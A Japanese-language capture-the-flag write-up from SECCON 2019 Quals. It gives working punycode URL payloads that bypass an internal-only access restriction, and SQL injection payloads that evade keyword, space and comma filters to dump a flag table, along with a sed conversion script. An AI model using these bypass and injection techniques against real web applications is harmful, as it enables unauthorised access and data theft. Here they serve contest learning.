SECCON 2019 Quals Write up
都内の温泉施設で参加してました。
あまり解けなかったのが残念でした。
Option-Cmd-U
punycodeをいい感じにする問題だと思い、punycodeについて調べていた。
<!-- src of this PHP script: /index.php?action=source --> <!-- the flag is in /flag.php, which permits access only from internal network :-) --> <!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
punycodeの仕様上ハイフンが入ってしまうため、flag.phpは難しそうだけれど、
上記のHTMLのコメント部分にある docker-compose.yml
なら作れそうだったので、docker-compose.ymlをそれ経由で取得すれば何か得れるのではないか
と思ってやってました。特に何も得れなかったです。
ちなみに以下でpunycodeがdocker-compose.ymlに変換される。
http://c:b.d.wa@nизginижxе/docker.yml => http://c:b.d.wa@nginx/docker-compose.yml
その後チームの人が、ドットの位置でpunycodeの変換部分が変えられること、数字部分のみをポートとして解釈することを見つけてくれていたので、 また、ポートの部分を複数設定することで区切りに出来たため横取りみたいな形でフラグを取ってしまった
http://a:.@✊nginx:80.:/flag.php => http://a:.xn--@nginx:80-5s4f.:/flag.php
SECCON{what_a_easy_bypass_314208thg0n423g}
web_search
空白文字とカンマ、それと or
と and
が制限されていた。
空白文字は /**/
、 or
は oorr
、and
は aandnd
に変換するようにすれば動くようになった。
そのあたりはスクリプトを作成してクエリを書くと楽だった。
$ web> cat try.sql 'union (select * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d);#'% $ web> cat conv.sh sed -e "s/or/oorr/g" | sed -e "s/and/aandnd/g" | sed -e "s/\ /\/\*\*\//g" $ web> cat try.sql | ./conv.sh 'union/**/(select/**/*/**/FROM/**/(SELECT/**/1)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c/**/JOIN/**/(SELECT/**/4)d);#'
' oorr/**/1 ;#'
と入れるととりあえずFLAGの前半部分が取れる
FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!
カンマが使えないためunionでつなげるのが難しく、カラム名もinformation_schemaテーブルから取ろうかと思って奮闘したが取れなかったようだった。
selectを複数joinさせる形でカラム数が増やせたので、それでflagテーブルをjoinさせた。
'union (select * FROM (SELECT * from flag )a JOIN (SELECT 2)b JOIN (SELECT 3)c);#' => 'union/**/(select/**/*/**/FROM/**/(SELECT/**/*/**/from/**/flag/**/)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c);#'
You_Win_Yeah}
疲れた際にいつでも温泉に入れるのは良かったけれど、多少ダレてしまうのがネックだった。